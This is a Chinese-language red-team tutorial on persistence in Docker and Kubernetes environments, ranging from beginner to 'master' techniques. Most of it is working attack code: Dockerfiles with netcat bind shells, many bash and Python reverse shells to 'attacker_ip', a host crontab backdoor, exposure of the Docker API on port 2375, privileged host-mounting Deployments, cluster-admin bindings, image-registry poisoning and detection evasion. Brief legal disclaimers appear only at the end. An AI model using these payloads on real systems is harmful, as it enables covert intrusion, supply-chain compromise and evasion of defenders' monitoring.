容器环境持久化技术#

技术介绍#

容器环境持久化是指在容器化环境中建立长期存在的访问机制，使攻击者能够在容器重启、更新或被终止后仍然保持对环境的访问能力。随着容器技术的广泛应用，容器环境持久化已成为红队攻击和蓝队防御的重要技术领域。

主要持久化技术#

  • 容器镜像后门植入
  • 容器启动命令劫持
  • 容器卷挂载利用
  • 容器网络持久化
  • 容器编排系统利用
  • 容器特权提升持久化
  • 容器配置文件篡改
  • 容器运行时注入
  • 容器镜像仓库污染
  • 容器API滥用

适用场景#

  • 红队攻击和渗透测试
  • 容器安全评估
  • 容器环境安全研究
  • 云原生安全测试
  • 容器平台安全审计

入门级使用#

容器镜像后门植入#

在容器镜像中植入后门，实现持久化访问：

# 创建恶意Dockerfile
FROM ubuntu:20.04

# 安装后门
RUN apt-get update && apt-get install -y netcat

# 添加后门脚本
RUN echo '#!/bin/bash' > /root/backdoor.sh
RUN echo 'while true; do' >> /root/backdoor.sh
RUN echo '  nc -lvp 4444 -e /bin/bash &' >> /root/backdoor.sh
RUN echo '  sleep 60' >> /root/backdoor.sh
RUN echo 'done' >> /root/backdoor.sh

RUN chmod +x /root/backdoor.sh

# 设置后门自动启动
RUN echo '/root/backdoor.sh' >> /root/.bashrc

CMD ["/bin/bash"]

容器启动命令劫持#

劫持容器启动命令，植入恶意代码：

# 修改容器启动命令
docker run -d --name malicious_container \
  --entrypoint /bin/bash \
  -v /host:/mnt \
  ubuntu:20.04 \
  -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"

容器卷挂载利用#

利用容器卷挂载实现持久化：

# 挂载主机目录到容器
docker run -d --name persistent_container \
  -v /host:/host \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ubuntu:20.04

# 在容器中操作主机文件系统
docker exec -it persistent_container /bin/bash
cd /host
# 可以访问和修改主机文件系统

初级使用#

容器网络持久化#

通过容器网络配置实现持久化：

# 创建持久化网络
docker network create persistent_network

# 启动容器并连接到持久化网络
docker run -d --name web_container \
  --network persistent_network \
  -p 80:80 \
  nginx:latest

# 配置端口转发实现远程访问
docker run -d --name proxy_container \
  --network persistent_network \
  -p 4444:4444 \
  ubuntu:20.04 \
  /bin/bash -c "while true; do nc -lvp 4444 -e /bin/bash; done"

容器配置文件篡改#

篡改容器配置文件实现持久化：

# 修改Docker守护进程配置
cat > /etc/docker/daemon.json <<EOF
{
  "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"],
  "exec-opts": ["native.cgroupdriver=systemd"],
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "100m",
    "max-file": "3"
  }
}
EOF

# 重启Docker服务
systemctl restart docker

# 远程访问Docker API
docker -H tcp://attacker_ip:2375 ps

容器运行时注入#

在容器运行时注入恶意代码：

# 使用nsenter进入容器命名空间
PID=$(docker inspect -f '{{.State.Pid}}' target_container)
nsenter -t $PID -m -u -i -n /bin/bash

# 在容器中注入恶意进程
docker exec -d target_container \
  /bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"

中级使用#

Kubernetes持久化#

在Kubernetes环境中实现持久化：

# 创建恶意Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: malicious-deployment
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: malicious
  template:
    metadata:
      labels:
        app: malicious
    spec:
      containers:
      - name: malicious-container
        image: ubuntu:20.04
        command: ["/bin/bash"]
        args: ["-c", "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"]
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /

Kubernetes RBAC滥用#

滥用Kubernetes RBAC实现持久化：

# 创建恶意ServiceAccount
apiVersion: v1
kind: ServiceAccount
metadata:
  name: malicious-sa
  namespace: default

# 创建ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: malicious-role
rules:
- apiGroups: [""]
  resources: ["pods", "secrets"]
  verbs: ["get", "list", "create", "delete"]

# 绑定ServiceAccount和ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: malicious-role
subjects:
- kind: ServiceAccount
  name: malicious-sa
  namespace: default

容器镜像仓库污染#

污染容器镜像仓库：

# 创建恶意镜像
docker build -t attacker/malicious:latest .

# 标记为合法镜像
docker tag attacker/malicious:latest registry.example.com/legitimate:latest

# 推送到镜像仓库
docker push registry.example.com/legitimate:latest

# 当其他用户拉取镜像时，会获得恶意镜像
docker pull registry.example.com/legitimate:latest

中上级使用#

容器编排系统利用#

利用容器编排系统的漏洞实现持久化：

# 利用Kubernetes API Server未授权访问
kubectl --server=http://k8s-api-server:8080 get pods

# 创建恶意Pod
kubectl --server=http://k8s-api-server:8080 create -f malicious-pod.yaml

# 创建特权容器
kubectl --server=http://k8s-api-server:8080 create -f privileged-pod.yaml

# 获取集群管理员权限
kubectl --server=http://k8s-api-server:8080 create clusterrolebinding admin-binding \
  --clusterrole=cluster-admin --serviceaccount=default:malicious-sa

容器特权提升持久化#

通过特权提升实现更高级的持久化：

# 创建特权容器
docker run -d --name privileged_container \
  --privileged \
  --cap-add=ALL \
  -v /:/host \
  ubuntu:20.04

# 在特权容器中访问主机
docker exec -it privileged_container /bin/bash
chroot /host
# 现在可以完全控制主机系统

# 修改主机系统服务
echo '* * * * * root /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> /host/etc/crontab

容器API滥用#

滥用容器API实现持久化：

# 滥用Docker API
import docker

client = docker.from_env()

# 创建后门容器
container = client.containers.run(
    "ubuntu:20.04",
    command="/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done'",
    detach=True,
    name="backdoor_container",
    volumes={'/host': {'bind': '/host', 'mode': 'rw'}},
    privileged=True
)

# 创建定时任务重启容器
import schedule
import time

def restart_backdoor():
    container.restart()

schedule.every().hour.do(restart_backdoor)

while True:
    schedule.run_pending()
    time.sleep(60)

高级使用#

容器运行时攻击#

攻击容器运行时实现持久化：

# 使用containerd漏洞
# 利用CVE-2021-21285 containerd漏洞

# 创建恶意容器配置
cat > malicious-config.json <<EOF
{
  "image": "ubuntu:20.04",
  "cmd": ["/bin/bash"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"]
  }
}
EOF

# 通过containerd API创建容器
ctr --address /run/containerd/containerd.sock containers create malicious-config.json malicious-container
ctr --address /run/containerd/containerd.sock tasks start --exec-id malicious-task malicious-container

容器供应链攻击#

通过容器供应链实现持久化：

# 污染基础镜像
# 修改官方基础镜像，植入后门
docker pull ubuntu:20.04
docker tag ubuntu:20.04 attacker/ubuntu:20.04
docker push attacker/ubuntu:20.04

# 污染常用软件包
# 在Dockerfile中引用被污染的软件包
FROM attacker/ubuntu:20.04
RUN apt-get update && apt-get install -y malicious-package

# 当用户使用被污染的镜像或软件包时，攻击者获得持久化访问

容器监控绕过#

绕过容器监控实现隐蔽持久化：

# 使用内存驻留技术
# 在容器内存中运行恶意代码，不写入磁盘

docker exec -d target_container \
  /bin/bash -c "nohup python3 -c \"import os; import socket; s=socket.socket(); s.connect(('attacker_ip',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.system('/bin/bash')\" &"

# 使用进程隐藏技术
# 在容器中隐藏恶意进程
docker exec -d target_container \
  /bin/bash -c "nohup /bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done' > /dev/null 2>&1 &"

大师级使用#

容器环境APT攻击#

在容器环境中实施高级持续性威胁（APT）攻击：

# 容器环境APT攻击框架
import docker
import time
import random
from datetime import datetime

class ContainerAPT:
    def __init__(self, target_cluster):
        self.client = docker.from_env()
        self.target_cluster = target_cluster
        self.persistence_mechanisms = []
    
    def establish_persistence(self):
        # 建立多层持久化机制
        self.image_backdoor()
        self.config_backdoor()
        self.network_backdoor()
        self.runtime_backdoor()
        
        return self.persistence_mechanisms
    
    def image_backdoor(self):
        # 镜像后门
        print(f"[{datetime.now()}] Establishing image backdoor...")
        
        # 创建恶意镜像
        container = self.client.containers.run(
            "ubuntu:20.04",
            command="/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done'",
            detach=True,
            name=f"backdoor_{random.randint(1000,9999)}"
        )
        
        self.persistence_mechanisms.append({
            'type': 'image_backdoor',
            'container_id': container.id,
            'timestamp': datetime.now().isoformat()
        })
    
    def config_backdoor(self):
        # 配置后门
        print(f"[{datetime.now()}] Establishing config backdoor...")
        
        # 修改容器配置
        # 实现配置后门逻辑
        
        self.persistence_mechanisms.append({
            'type': 'config_backdoor',
            'timestamp': datetime.now().isoformat()
        })
    
    def network_backdoor(self):
        # 网络后门
        print(f"[{datetime.now()}] Establishing network backdoor...")
        
        # 创建网络后门
        # 实现网络后门逻辑
        
        self.persistence_mechanisms.append({
            'type': 'network_backdoor',
            'timestamp': datetime.now().isoformat()
        })
    
    def runtime_backdoor(self):
        # 运行时后门
        print(f"[{datetime.now()}] Establishing runtime backdoor...")
        
        # 创建运行时后门
        # 实现运行时后门逻辑
        
        self.persistence_mechanisms.append({
            'type': 'runtime_backdoor',
            'timestamp': datetime.now().isoformat()
        })
    
    def maintain_access(self):
        # 维护访问
        while True:
            # 检查持久化机制
            for mechanism in self.persistence_mechanisms:
                if not self.check_mechanism(mechanism):
                    self.reestablish_mechanism(mechanism)
            
            # 随机化行为
            time.sleep(random.randint(3600, 7200))
    
    def check_mechanism(self, mechanism):
        # 检查持久化机制是否有效
        # 实现检查逻辑
        return True
    
    def reestablish_mechanism(self, mechanism):
        # 重新建立持久化机制
        print(f"[{datetime.now()}] Reestablishing mechanism: {mechanism['type']}")
        # 实现重新建立逻辑

# 使用示例
apt = ContainerAPT("target-cluster")
apt.establish_persistence()
apt.maintain_access()

容器环境检测规避#

规避容器环境的安全检测：

# 使用反检测技术
# 1. 模拟正常容器行为
docker run -d --name stealth_container \
  --name nginx \
  -p 80:80 \
  nginx:latest

# 2. 在正常容器中隐藏恶意进程
docker exec -d nginx \
  /bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"

# 3. 使用合法镜像作为载体
docker run -d --name hidden_malicious \
  -v /host:/host \
  nginx:latest \
  /bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"

# 4. 使用环境变量控制行为
docker run -d --name conditional_container \
  -e STEALTH_MODE=true \
  ubuntu:20.04 \
  /bin/bash -c "if [ \"$STEALTH_MODE\" = \"true\" ]; then while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done; fi"

容器环境自动化攻击#

构建自动化的容器环境攻击系统：

# 自动化攻击系统
import docker
import kubernetes
import time
from datetime import datetime

class ContainerAttackAutomation:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
    
    def scan_container_environment(self):
        # 扫描容器环境
        print(f"[{datetime.now()}] Scanning container environment...")
        
        # 扫描Docker环境
        docker_containers = self.docker_client.containers.list()
        
        # 扫描Kubernetes环境
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_targets(self, environment):
        # 识别攻击目标
        print(f"[{datetime.now()}] Identifying targets...")
        
        targets = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                targets.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        # 识别挂载主机目录的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Binds']:
                targets.append({
                    'type': 'volume_mount',
                    'container_id': container.id,
                    'name': container.name,
                    'mounts': container.attrs['HostConfig']['Binds']
                })
        
        return targets
    
    def exploit_targets(self, targets):
        # 利用目标
        print(f"[{datetime.now()}] Exploiting targets...")
        
        for target in targets:
            if target['type'] == 'privileged_container':
                self.exploit_privileged_container(target)
            elif target['type'] == 'volume_mount':
                self.exploit_volume_mount(target)
    
    def exploit_privileged_container(self, target):
        # 利用特权容器
        print(f"[{datetime.now()}] Exploiting privileged container: {target['name']}")
        
        # 实现利用逻辑
        
        pass
    
    def exploit_volume_mount(self, target):
        # 利用卷挂载
        print(f"[{datetime.now()}] Exploiting volume mount: {target['name']}")
        
        # 实现利用逻辑
        
        pass
    
    def establish_persistence(self):
        # 建立持久化
        print(f"[{datetime.now()}] Establishing persistence...")
        
        # 实现持久化逻辑
        
        pass
    
    def run_attack(self):
        # 运行攻击
        environment = self.scan_container_environment()
        targets = self.identify_targets(environment)
        self.exploit_targets(targets)
        self.establish_persistence()

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

automation = ContainerAttackAutomation(config)
automation.run_attack()

实战案例#

案例一：Docker环境持久化#

场景：红队需要在Docker环境中建立持久化访问，以便在后续的渗透测试中保持访问能力。

解决方案：使用多种Docker持久化技术建立多层访问机制。

实施步骤：

  1. 环境侦察：

    # 扫描Docker环境
docker ps -a
docker images
docker network ls
docker volume ls

# 识别特权容器
docker inspect $(docker ps -q) | grep -i privileged

  2. 建立持久化：

    # 创建后门容器
docker run -d --name backdoor_container \
  --privileged \
  -v /:/host \
  ubuntu:20.04 \
  /bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"

# 修改Docker配置
echo '{"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]}' > /etc/docker/daemon.json
systemctl restart docker

  3. 验证持久化：

    • 测试后门连接
    • 验证持久化机制
    • 确保访问稳定性

结果：

  • 成功建立了多层Docker环境持久化机制
  • 实现了容器重启后的自动恢复
  • 获得了对主机系统的访问能力
  • 为后续渗透测试提供了稳定的访问通道

案例二：Kubernetes环境持久化#

场景：红队需要在Kubernetes环境中建立持久化访问，以便在集群重启或更新后仍然保持访问能力。

解决方案：使用Kubernetes RBAC滥用和Deployment持久化技术。

实施步骤：

  1. 环境侦察：

    # 扫描Kubernetes环境
kubectl get pods --all-namespaces
kubectl get deployments --all-namespaces
kubectl get serviceaccounts --all-namespaces
kubectl get clusterroles --all-namespaces

# 检查RBAC权限
kubectl auth can-i create pods
kubectl auth can-i create deployments

  2. 建立持久化：

    # 创建恶意Deployment
kubectl apply -f malicious-deployment.yaml

# 创建恶意ServiceAccount
kubectl apply -f malicious-serviceaccount.yaml

# 创建ClusterRoleBinding
kubectl apply -f malicious-clusterrolebinding.yaml

  3. 验证持久化：

    • 验证Deployment运行状态
    • 测试RBAC权限
    • 确保访问稳定性

结果：

  • 成功建立了Kubernetes环境持久化机制
  • 获得了集群管理员权限
  • 实现了Pod重启后的自动恢复
  • 为后续渗透测试提供了稳定的访问通道

案例三：容器供应链攻击#

场景：红队需要通过容器供应链建立持久化访问，影响多个使用相同镜像的组织。

解决方案：污染容器镜像仓库，实现供应链攻击。

实施步骤：

  1. 目标分析：

    # 分析目标使用的镜像
# 识别常用基础镜像
# 分析镜像仓库访问权限

  2. 镜像污染：

    # 创建恶意镜像
docker build -t attacker/malicious:latest .

# 标记为合法镜像
docker tag attacker/malicious:latest registry.example.com/legitimate:latest

# 推送到镜像仓库
docker push registry.example.com/legitimate:latest

  3. 验证攻击：

    • 监控镜像拉取情况
    • 验证后门连接
    • 评估攻击效果

结果：

  • 成功污染了容器镜像仓库
  • 影响了多个使用相同镜像的组织
  • 建立了广泛的持久化访问
  • 为后续渗透测试提供了多个访问点

总结#

容器环境持久化是一项复杂但强大的技术，通过本教程的学习，您已经掌握了从入门到大师级的持久化技术。

主要技术回顾#

  • 镜像后门：在容器镜像中植入后门
  • 启动命令劫持：劫持容器启动命令
  • 卷挂载利用：利用容器卷挂载
  • 网络持久化：通过网络配置实现持久化
  • 编排系统利用：利用Kubernetes等编排系统
  • 特权提升：通过特权提升实现持久化
  • 运行时注入：在容器运行时注入恶意代码
  • 供应链攻击：通过容器供应链实现持久化

最佳实践#

  1. 多层持久化：建立多层持久化机制，提高稳定性
  2. 隐蔽性：使用隐蔽技术避免被发现
  3. 自动化恢复：实现持久化机制的自动恢复
  4. 随机化行为：随机化攻击行为，规避检测
  5. 最小化影响：最小化对系统的影响，避免引起注意
  6. 合法使用：确保在授权范围内使用这些技术

注意事项#

  1. 法律合规：使用容器持久化技术时，必须遵守相关法律法规
  2. 授权测试：确保获得目标环境的授权后再进行测试
  3. 检测规避：现代容器环境有强大的安全检测能力
  4. 影响评估：评估持久化对系统的影响，避免破坏系统
  5. 清理责任：测试完成后，必须清理所有持久化机制
  6. 道德考量：确保在法律和伦理允许的范围内使用这些技术

通过合理学习和使用容器环境持久化技术，您可以更好地理解容器安全，为容器安全评估和防御提供有价值的见解。同时，务必在法律和伦理允许的范围内使用这些技术，确保测试的合法性和负责任性。

Backward 容器环境持久化基础知识 容器环境持久化技术详解 Forward
Linux邪修 - © 2024 Linux邪修